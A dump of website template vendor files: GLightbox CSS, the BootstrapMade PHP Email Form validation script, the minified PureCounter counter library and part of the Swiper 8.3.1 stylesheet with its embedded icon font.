.goverlay{background:#000}.gclose,.gnext,.gprev{z-index:99999;cursor:pointer;width:26px;height:44px;border:none;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.gclose svg,.gnext svg,.gprev svg{display:block;width:25px;height:auto;margin:0;padding:0}.gclose.disabled,.gnext.disabled,.gprev.disabled{opacity:.1}.gclose .garrow,.gnext .garrow,.gprev .garrow{stroke:#fff}.gbtn.focused{outline:2px solid #0f3d81}iframe.wait-autoplay{opacity:0}.glightbox-closing .gclose,.glightbox-closing .gnext,.glightbox-closing .gprev{opacity:0!important}.glightbox-clean .gslide-description{background:#fff}.glightbox-clean .gdesc-inner{padding:22px 20px}.glightbox-clean .gslide-title{font-size:1em;font-weight:400;font-family:arial;color:#000;margin-bottom:19px;line-height:1.4em}.glightbox-clean .gslide-desc{font-size:.86em;margin-bottom:0;font-family:arial;line-height:1.4em}.glightbox-clean .gslide-video{background:#000}.glightbox-clean .gclose,.glightbox-clean .gnext,.glightbox-clean .gprev{background-color:rgba(0,0,0,.75);border-radius:4px}.glightbox-clean .gclose path,.glightbox-clean .gnext path,.glightbox-clean .gprev path{fill:#fff}.glightbox-clean .gprev{position:absolute;top:-100%;left:30px;width:40px;height:50px}.glightbox-clean .gnext{position:absolute;top:-100%;right:30px;width:40px;height:50px}.glightbox-clean .gclose{width:35px;height:35px;top:15px;right:10px;position:absolute}.glightbox-clean .gclose svg{width:18px;height:auto}.glightbox-clean .gclose:hover{opacity:1}.gfadeIn{-webkit-animation:gfadeIn .5s ease;animation:gfadeIn .5s ease}.gfadeOut{-webkit-animation:gfadeOut .5s ease;animation:gfadeOut .5s ease}.gslideOutLeft{-webkit-animation:gslideOutLeft .3s ease;animation:gslideOutLeft .3s ease}.gslideInLeft{-webkit-animation:gslideInLeft .3s ease;animation:gslideInLeft .3s ease}.gslideOutRight{-webkit-animation:gslideOutRight .3s ease;animation:gslideOutRight .3s ease}.gslideInRight{-webkit-animation:gslideInRight .3s ease;animation:gslideInRight .3s ease}.gzoomIn{-webkit-animation:gzoomIn .5s ease;animation:gzoomIn .5s ease}.gzoomOut{-webkit-animation:gzoomOut .5s ease;animation:gzoomOut .5s ease}@-webkit-keyframes lightboxLoader{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes lightboxLoader{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@-webkit-keyframes gfadeIn{from{opacity:0}to{opacity:1}}@keyframes gfadeIn{from{opacity:0}to{opacity:1}}@-webkit-keyframes gfadeOut{from{opacity:1}to{opacity:0}}@keyframes gfadeOut{from{opacity:1}to{opacity:0}}@-webkit-keyframes gslideInLeft{from{opacity:0;-webkit-transform:translate3d(-60%,0,0);transform:translate3d(-60%,0,0)}to{visibility:visible;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@keyframes gslideInLeft{from{opacity:0;-webkit-transform:translate3d(-60%,0,0);transform:translate3d(-60%,0,0)}to{visibility:visible;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@-webkit-keyframes gslideOutLeft{from{opacity:1;visibility:visible;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{-webkit-transform:translate3d(-60%,0,0);transform:translate3d(-60%,0,0);opacity:0;visibility:hidden}}@keyframes gslideOutLeft{from{opacity:1;visibility:visible;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{-webkit-transform:translate3d(-60%,0,0);transform:translate3d(-60%,0,0);opacity:0;visibility:hidden}}@-webkit-keyframes gslideInRight{from{opacity:0;visibility:visible;-webkit-transform:translate3d(60%,0,0);transform:translate3d(60%,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@keyframes gslideInRight{from{opacity:0;visibility:visible;-webkit-transform:translate3d(60%,0,0);transform:translate3d(60%,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@-webkit-keyframes gslideOutRight{from{opacity:1;visibility:visible;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{-webkit-transform:translate3d(60%,0,0);transform:translate3d(60%,0,0);opacity:0}}@keyframes gslideOutRight{from{opacity:1;visibility:visible;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{-webkit-transform:translate3d(60%,0,0);transform:translate3d(60%,0,0);opacity:0}}@-webkit-keyframes gzoomIn{from{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}to{opacity:1}}@keyframes gzoomIn{from{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}to{opacity:1}}@-webkit-keyframes gzoomOut{from{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}to{opacity:0}}@keyframes gzoomOut{from{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}to{opacity:0}}@media (min-width:769px){.glightbox-container .ginner-container{width:auto;height:auto;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.glightbox-container .ginner-container.desc-top .gslide-description{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.glightbox-container .ginner-container.desc-top .gslide-image,.glightbox-container .ginner-container.desc-top .gslide-image img{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.glightbox-container .ginner-container.desc-left .gslide-description{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.glightbox-container .ginner-container.desc-left .gslide-image{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.gslide-image img{max-height:97vh;max-width:100%}.gslide-image img.zoomable{cursor:-webkit-zoom-in;cursor:zoom-in}.zoomed .gslide-image img.zoomable{cursor:-webkit-grab;cursor:grab}.gslide-inline{max-height:95vh}.gslide-external{max-height:100vh}.gslide-description.description-left,.gslide-description.description-right{max-width:275px}.glightbox-open{height:auto}.goverlay{background:rgba(0,0,0,.92)}.glightbox-clean .gslide-media{-webkit-box-shadow:1px 2px 9px 0 rgba(0,0,0,.65);box-shadow:1px 2px 9px 0 rgba(0,0,0,.65)}.glightbox-clean .description-left .gdesc-inner,.glightbox-clean .description-right .gdesc-inner{position:absolute;height:100%;overflow-y:auto}.glightbox-clean .gclose,.glightbox-clean .gnext,.glightbox-clean .gprev{background-color:rgba(0,0,0,.32)}.glightbox-clean .gclose:hover,.glightbox-clean .gnext:hover,.glightbox-clean .gprev:hover{background-color:rgba(0,0,0,.7)}.glightbox-clean .gprev{top:45%}.glightbox-clean .gnext{top:45%}}@media (min-width:992px){.glightbox-clean .gclose{opacity:.7;right:20px}}@media screen and (max-height:420px){.goverlay{background:#000}} -------------------------------------------------------------------------------- /assets/vendor/php-email-form/validate.js: -------------------------------------------------------------------------------- 1 | /** 2 | * PHP Email Form Validation - v3.4 3 | * URL: https://bootstrapmade.com/php-email-form/ 4 | * Author: BootstrapMade.com 5 | */ 6 | (function () { 7 | "use strict"; 8 | 9 | let forms = document.querySelectorAll('.php-email-form'); 10 | 11 | forms.forEach( function(e) { 12 | e.addEventListener('submit', function(event) { 13 | event.preventDefault(); 14 | 15 | let thisForm = this; 16 | 17 | let action = thisForm.getAttribute('action'); 18 | let recaptcha = thisForm.getAttribute('data-recaptcha-site-key'); 19 | 20 | if( ! action ) { 21 | displayError(thisForm, 'The form action property is not set!') 22 | return; 23 | } 24 | thisForm.querySelector('.loading').classList.add('d-block'); 25 | thisForm.querySelector('.error-message').classList.remove('d-block'); 26 | thisForm.querySelector('.sent-message').classList.remove('d-block'); 27 | 28 | let formData = new FormData( thisForm ); 29 | 30 | if ( recaptcha ) { 31 | if(typeof grecaptcha !== "undefined" ) { 32 | grecaptcha.ready(function() { 33 | try { 34 | grecaptcha.execute(recaptcha, {action: 'php_email_form_submit'}) 35 | .then(token => { 36 | formData.set('recaptcha-response', token); 37 | php_email_form_submit(thisForm, action, formData); 38 | }) 39 | } catch(error) { 40 | displayError(thisForm, error) 41 | } 42 | }); 43 | } else { 44 | displayError(thisForm, 'The reCaptcha javascript API url is not loaded!') 45 | } 46 | } else { 47 | php_email_form_submit(thisForm, action, formData); 48 | } 49 | }); 50 | }); 51 | 52 | function php_email_form_submit(thisForm, action, formData) { 53 | fetch(action, { 54 | method: 'POST', 55 | body: formData, 56 | headers: {'X-Requested-With': 'XMLHttpRequest'} 57 | }) 58 | .then(response => { 59 | if( response.ok ) { 60 | return response.text() 61 | } else { 62 | throw new Error(`${response.status} ${response.statusText} ${response.url}`); 63 | } 64 | }) 65 | .then(data => { 66 | thisForm.querySelector('.loading').classList.remove('d-block'); 67 | if (data.trim() == 'OK') { 68 | thisForm.querySelector('.sent-message').classList.add('d-block'); 69 | thisForm.reset(); 70 | } else { 71 | throw new Error(data ? data : 'Form submission failed and no error message returned from: ' + action); 72 | } 73 | }) 74 | .catch((error) => { 75 | displayError(thisForm, error); 76 | }); 77 | } 78 | 79 | function displayError(thisForm, error) { 80 | thisForm.querySelector('.loading').classList.remove('d-block'); 81 | thisForm.querySelector('.error-message').innerHTML = error; 82 | thisForm.querySelector('.error-message').classList.add('d-block'); 83 | } 84 | 85 | })(); 86 | -------------------------------------------------------------------------------- /assets/vendor/purecounter/purecounter_vanilla.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * purecounter.js - A simple yet configurable native javascript counter which you can count on. 3 | * Author: Stig Rex 4 | * Version: 1.5.0 5 | * Url: https://github.com/srexi/purecounterjs 6 | * License: MIT 7 | */ 8 | !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.PureCounter=t():e.PureCounter=t()}(self,(function(){return e={638:function(e){function t(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function r(e){return function(e){if(Array.isArray(e))return n(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(e){if("string"==typeof e)return n(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);return"Object"===r&&e.constructor&&(r=e.constructor.name),"Map"===r||"Set"===r?Array.from(e):"Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?n(e,t):void 0}}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function n(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r1&&void 0!==arguments[1]?arguments[1]:{},r={};for(var n in e)if(t=={}||t.hasOwnProperty(n)){var o=c(e[n]);r[n]=o,n.match(/duration|pulse/)&&(r[n]="boolean"!=typeof o?1e3*o:o)}return Object.assign({},t,r)}function i(e,t){var r=(t.end-t.start)/(t.duration/t.delay),n="inc";t.start>t.end&&(n="dec",r*=-1);var o=c(t.start);e.innerHTML=u(o,t),!0===t.once&&e.setAttribute("data-purecounter-duration",0);var i=setInterval((function(){var a=function(e,t){var r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"inc";return e=c(e),t=c(t),parseFloat("inc"===r?e+t:e-t)}(o,r,n);e.innerHTML=u(a,t),((o=a)>=t.end&&"inc"==n||o<=t.end&&"dec"==n)&&(e.innerHTML=u(t.end,t),t.pulse&&(e.setAttribute("data-purecounter-duration",0),setTimeout((function(){e.setAttribute("data-purecounter-duration",t.duration/1e3)}),t.pulse)),clearInterval(i))}),t.delay)}function a(e,t){return Math.pow(e,t)}function u(e,t){var r={minimumFractionDigits:t.decimals,maximumFractionDigits:t.decimals},n="string"==typeof t.formater?t.formater:void 0;return e=function(e,t){if(t.filesizing||t.currency){e=Math.abs(Number(e));var r=1e3,n=t.currency&&"string"==typeof t.currency?t.currency:"",o=t.decimals||1,i=["","K","M","B","T"],u="";t.filesizing&&(r=1024,i=["bytes","KB","MB","GB","TB"]);for(var c=4;c>=0;c--)if(0===c&&(u="".concat(e.toFixed(o)," ").concat(i[c])),e>=a(r,c)){u="".concat((e/a(r,c)).toFixed(o)," ").concat(i[c]);break}return n+u}return parseFloat(e)}(e,t),function(e,t){if(t.formater){var r=t.separator?"string"==typeof t.separator?t.separator:",":"";return"en-US"!==t.formater&&!0===t.separator?e:(n=r,e.replace(/^(?:(\d{1,3},(?:\d{1,3},?)*)|(\d{1,3}\.(?:\d{1,3}\.?)*)|(\d{1,3}(?:\s\d{1,3})*))([\.,]?\d{0,2}?)$/gi,(function(e,t,r,o,i){var a="",u="";if(void 0!==t?(a=t.replace(new RegExp(/,/gi,"gi"),n),u=","):void 0!==r?a=r.replace(new RegExp(/\./gi,"gi"),n):void 0!==o&&(a=o.replace(new RegExp(/ /gi,"gi"),n)),void 0!==i){var c=","!==u&&","!==n?",":".";a+=void 0!==i?i.replace(new RegExp(/\.|,/gi,"gi"),c):""}return a})))}var n;return e}(e=t.formater?e.toLocaleString(n,r):parseInt(e).toString(),t)}function c(e){return/^[0-9]+\.[0-9]+$/.test(e)?parseFloat(e):/^[0-9]+$/.test(e)?parseInt(e):/^true|false/i.test(e)?/^true/i.test(e):e}function f(e){for(var t=e.offsetTop,r=e.offsetLeft,n=e.offsetWidth,o=e.offsetHeight;e.offsetParent;)t+=(e=e.offsetParent).offsetTop,r+=e.offsetLeft;return t>=window.pageYOffset&&r>=window.pageXOffset&&t+o<=window.pageYOffset+window.innerHeight&&r+n<=window.pageXOffset+window.innerWidth}function s(){return"IntersectionObserver"in window&&"IntersectionObserverEntry"in window&&"intersectionRatio"in window.IntersectionObserverEntry.prototype}e.exports=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n={start:0,end:100,duration:2e3,delay:10,once:!0,pulse:!1,decimals:0,legacy:!0,filesizing:!1,currency:!1,separator:!1,formater:"us-US",selector:".purecounter"},a=o(e,n);function d(){var e=document.querySelectorAll(a.selector);if(0!==e.length)if(s()){var t=new IntersectionObserver(p.bind(this),{root:null,rootMargin:"20px",threshold:.5});e.forEach((function(e){t.observe(e)}))}else window.addEventListener&&(l(e),window.addEventListener("scroll",(function(t){l(e)}),{passive:!0}))}function l(e){e.forEach((function(e){!0===v(e).legacy&&f(e)&&p([e])}))}function p(e,t){e.forEach((function(e){var r=e.target||e,n=v(r);if(n.duration<=0)return r.innerHTML=u(n.end,n);if(!t&&!f(e)||t&&e.intersectionRatio<.5){var o=n.start>n.end?n.end:n.start;return r.innerHTML=u(o,n)}setTimeout((function(){return i(r,n)}),n.delay)}))}function v(e){var n=a,i=[].filter.call(e.attributes,(function(e){return/^data-purecounter-/.test(e.name)}));return o(0!=i.length?Object.assign.apply(Object,[{}].concat(r(i.map((function(e){var r=e.name,n=e.value;return t({},r.replace("data-purecounter-","").toLowerCase(),c(n))}))))):{},n)}d()}}},t={},r=function r(n){var o=t[n];if(void 0!==o)return o.exports;var i=t[n]={exports:{}};return e[n](i,i.exports,r),i.exports}(638),r;var e,t,r})); 9 | //# sourceMappingURL=purecounter_vanilla.js.map -------------------------------------------------------------------------------- /assets/vendor/swiper/swiper-bundle.min.css: -------------------------------------------------------------------------------- 1 | /** 2 | * Swiper 8.3.1 3 | * Most modern mobile touch slider and framework with hardware accelerated transitions 4 | * https://swiperjs.com 5 | * 6 | * Copyright 2014-2022 Vladimir Kharlampidi 7 | * 8 | * Released under the MIT License 9 | * 10 | * Released on: July 13, 2022 11 | */ 12 | 13 | @font-face{font-family:swiper-icons;src:url('data:application/font-woff;charset=utf-8;base64, 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');font-weight:400;font-style:normal}:root{--swiper-theme-color:#007aff}.swiper{margin-left:auto;margin-right:auto;position:relative;overflow:hidden;list-style:none;padding:0;z-index:1}.swiper-vertical>.swiper-wrapper{flex-direction:column}.swiper-wrapper{position:relative;width:100%;height:100%;z-index:1;display:flex;transition-property:transform;box-sizing:content-box}.swiper-android .swiper-slide,.swiper-wrapper{transform:translate3d(0px,0,0)}.swiper-pointer-events{touch-action:pan-y}.swiper-pointer-events.swiper-vertical{touch-action:pan-x}.swiper-slide{flex-shrink:0;width:100%;height:100%;position:relative;transition-property:transform}.swiper-slide-invisible-blank{visibility:hidden}.swiper-autoheight,.swiper-autoheight .swiper-slide{height:auto}.swiper-autoheight .swiper-wrapper{align-items:flex-start;transition-property:transform,height}.swiper-backface-hidden .swiper-slide{transform:translateZ(0);-webkit-backface-visibility:hidden;backface-visibility:hidden}.swiper-3d,.swiper-3d.swiper-css-mode .swiper-wrapper{perspective:1200px}.swiper-3d .swiper-cube-shadow,.swiper-3d .swiper-slide,.swiper-3d .swiper-slide-shadow,.swiper-3d .swiper-slide-shadow-bottom,.swiper-3d .swiper-slide-shadow-left,.swiper-3d .swiper-slide-shadow-right,.swiper-3d .swiper-slide-shadow-top,.swiper-3d .swiper-wrapper{transform-style:preserve-3d}.swiper-3d .swiper-slide-shadow,.swiper-3d .swiper-slide-shadow-bottom,.swiper-3d .swiper-slide-shadow-left,.swiper-3d .swiper-slide-shadow-right,.swiper-3d .swiper-slide-shadow-top{position:absolute;left:0;top:0;width:100%;height:100%;pointer-events:none;z-index:10}.swiper-3d .swiper-slide-shadow{background:rgba(0,0,0,.15)}.swiper-3d .swiper-slide-shadow-left{background-image:linear-gradient(to left,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-3d .swiper-slide-shadow-right{background-image:linear-gradient(to right,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-3d .swiper-slide-shadow-top{background-image:linear-gradient(to top,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-3d .swiper-slide-shadow-bottom{background-image:linear-gradient(to bottom,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-css-mode>.swiper-wrapper{overflow:auto;scrollbar-width:none;-ms-overflow-style:none}.swiper-css-mode>.swiper-wrapper::-webkit-scrollbar{display:none}.swiper-css-mode>.swiper-wrapper>.swiper-slide{scroll-snap-align:start start}.swiper-horizontal.swiper-css-mode>.swiper-wrapper{scroll-snap-type:x mandatory}.swiper-vertical.swiper-css-mode>.swiper-wrapper{scroll-snap-type:y mandatory}.swiper-centered>.swiper-wrapper::before{content:'';flex-shrink:0;order:9999}.swiper-centered.swiper-horizontal>.swiper-wrapper>.swiper-slide:first-child{margin-inline-start:var(--swiper-centered-offset-before)}.swiper-centered.swiper-horizontal>.swiper-wrapper::before{height:100%;min-height:1px;width:var(--swiper-centered-offset-after)}.swiper-centered.swiper-vertical>.swiper-wrapper>.swiper-slide:first-child{margin-block-start:var(--swiper-centered-offset-before)}.swiper-centered.swiper-vertical>.swiper-wrapper::before{width:100%;min-width:1px;height:var(--swiper-centered-offset-after)}.swiper-centered>.swiper-wrapper>.swiper-slide{scroll-snap-align:center center}.swiper-virtual .swiper-slide{-webkit-backface-visibility:hidden;transform:translateZ(0)}.swiper-virtual.swiper-css-mode .swiper-wrapper::after{content:'';position:absolute;left:0;top:0;pointer-events:none}.swiper-virtual.swiper-css-mode.swiper-horizontal .swiper-wrapper::after{height:1px;width:var(--swiper-virtual-size)}.swiper-virtual.swiper-css-mode.swiper-vertical .swiper-wrapper::after{width:1px;height:var(--swiper-virtual-size)}:root{--swiper-navigation-size:44px}.swiper-button-next,.swiper-button-prev{position:absolute;top:50%;width:calc(var(--swiper-navigation-size)/ 44 * 27);height:var(--swiper-navigation-size);margin-top:calc(0px - (var(--swiper-navigation-size)/ 2));z-index:10;cursor:pointer;display:flex;align-items:center;justify-content:center;color:var(--swiper-navigation-color,var(--swiper-theme-color))}.swiper-button-next.swiper-button-disabled,.swiper-button-prev.swiper-button-disabled{opacity:.35;cursor:auto;pointer-events:none}.swiper-button-next.swiper-button-hidden,.swiper-button-prev.swiper-button-hidden{opacity:0;cursor:auto;pointer-events:none}.swiper-navigation-disabled .swiper-button-next,.swiper-navigation-disabled .swiper-button-prev{display:none!important}.swiper-button-next:after,.swiper-button-prev:after{font-family:swiper-icons;font-size:var(--swiper-navigation-size);text-transform:none!important;letter-spacing:0;font-variant:initial;line-height:1}.swiper-button-prev,.swiper-rtl .swiper-button-next{left:10px;right:auto}.swiper-button-prev:after,.swiper-rtl .swiper-button-next:after{content:'prev'}.swiper-button-next,.swiper-rtl .swiper-button-prev{right:10px;left:auto}.swiper-button-next:after,.swiper-rtl .swiper-button-prev:after{content:'next'}.swiper-button-lock{display:none}.swiper-pagination{position:absolute;text-align:center;transition:.3s opacity;transform:translate3d(0,0,0);z-index:10}.swiper-pagination.swiper-pagination-hidden{opacity:0}.swiper-pagination-disabled>.swiper-pagination,.swiper-pagination.swiper-pagination-disabled{display:none!important}.swiper-horizontal>.swiper-pagination-bullets,.swiper-pagination-bullets.swiper-pagination-horizontal,.swiper-pagination-custom,.swiper-pagination-fraction{bottom:10px;left:0;width:100%}.swiper-pagination-bullets-dynamic{overflow:hidden;font-size:0}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{transform:scale(.33);position:relative}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active{transform:scale(1)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-main{transform:scale(1)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev{transform:scale(.66)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev-prev{transform:scale(.33)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next{transform:scale(.66)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next-next{transform:scale(.33)}.swiper-pagination-bullet{width:var(--swiper-pagination-bullet-width,var(--swiper-pagination-bullet-size,8px));height:var(--swiper-pagination-bullet-height,var(--swiper-pagination-bullet-size,8px));display:inline-block;border-radius:50%;background:var(--swiper-pagination-bullet-inactive-color,#000);opacity:var(--swiper-pagination-bullet-inactive-opacity, .2)}button.swiper-pagination-bullet{border:none;margin:0;padding:0;box-shadow:none;-webkit-appearance:none;appearance:none}.swiper-pagination-clickable .swiper-pagination-bullet{cursor:pointer}.swiper-pagination-bullet:only-child{display:none!important}.swiper-pagination-bullet-active{opacity:var(--swiper-pagination-bullet-opacity, 1);background:var(--swiper-pagination-color,var(--swiper-theme-color))}.swiper-pagination-vertical.swiper-pagination-bullets,.swiper-vertical>.swiper-pagination-bullets{right:10px;top:50%;transform:translate3d(0px,-50%,0)}.swiper-pagination-vertical.swiper-pagination-bullets .swiper-pagination-bullet,.swiper-vertical>.swiper-pagination-bullets .swiper-pagination-bullet{margin:var(--swiper-pagination-bullet-vertical-gap,6px) 0;display:block}.swiper-pagination-vertical.swiper-pagination-bullets.swiper-pagination-bullets-dynamic,.swiper-vertical>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic{top:50%;transform:translateY(-50%);width:8px}.swiper-pagination-vertical.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet,.swiper-vertical>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{display:inline-block;transition:.2s transform,.2s top}.swiper-horizontal>.swiper-pagination-bullets .swiper-pagination-bullet,.swiper-pagination-horizontal.swiper-pagination-bullets .swiper-pagination-bullet{margin:0 var(--swiper-pagination-bullet-horizontal-gap,4px)}.swiper-horizontal>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic,.swiper-pagination-horizontal.swiper-pagination-bullets.swiper-pagination-bullets-dynamic{left:50%;transform:translateX(-50%);white-space:nowrap}.swiper-horizontal>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet,.swiper-pagination-horizontal.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{transition:.2s transform,.2s left}.swiper-horizontal.swiper-rtl>.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{transition:.2s transform,.2s right}.swiper-pagination-progressbar{background:rgba(0,0,0,.25);position:absolute}.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:var(--swiper-pagination-color,var(--swiper-theme-color));position:absolute;left:0;top:0;width:100%;height:100%;transform:scale(0);transform-origin:left top}.swiper-rtl .swiper-pagination-progressbar .swiper-pagination-progressbar-fill{transform-origin:right top}.swiper-horizontal>.swiper-pagination-progressbar,.swiper-pagination-progressbar.swiper-pagination-horizontal,.swiper-pagination-progressbar.swiper-pagination-vertical.swiper-pagination-progressbar-opposite,.swiper-vertical>.swiper-pagination-progressbar.swiper-pagination-progressbar-opposite{width:100%;height:4px;left:0;top:0}.swiper-horizontal>.swiper-pagination-progressbar.swiper-pagination-progressbar-opposite,.swiper-pagination-progressbar.swiper-pagination-horizontal.swiper-pagination-progressbar-opposite,.swiper-pagination-progressbar.swiper-pagination-vertical,.swiper-vertical>.swiper-pagination-progressbar{width:4px;height:100%;left:0;top:0}.swiper-pagination-lock{display:none}.swiper-scrollbar{border-radius:10px;position:relative;-ms-touch-action:none;background:rgba(0,0,0,.1)}.swiper-scrollbar-disabled>.swiper-scrollbar,.swiper-scrollbar.swiper-scrollbar-disabled{display:none!important}.swiper-horizontal>.swiper-scrollbar,.swiper-scrollbar.swiper-scrollbar-horizontal{position:absolute;left:1%;bottom:3px;z-index:50;height:5px;width:98%}.swiper-scrollbar.swiper-scrollbar-vertical,.swiper-vertical>.swiper-scrollbar{position:absolute;right:3px;top:1%;z-index:50;width:5px;height:98%}.swiper-scrollbar-drag{height:100%;width:100%;position:relative;background:rgba(0,0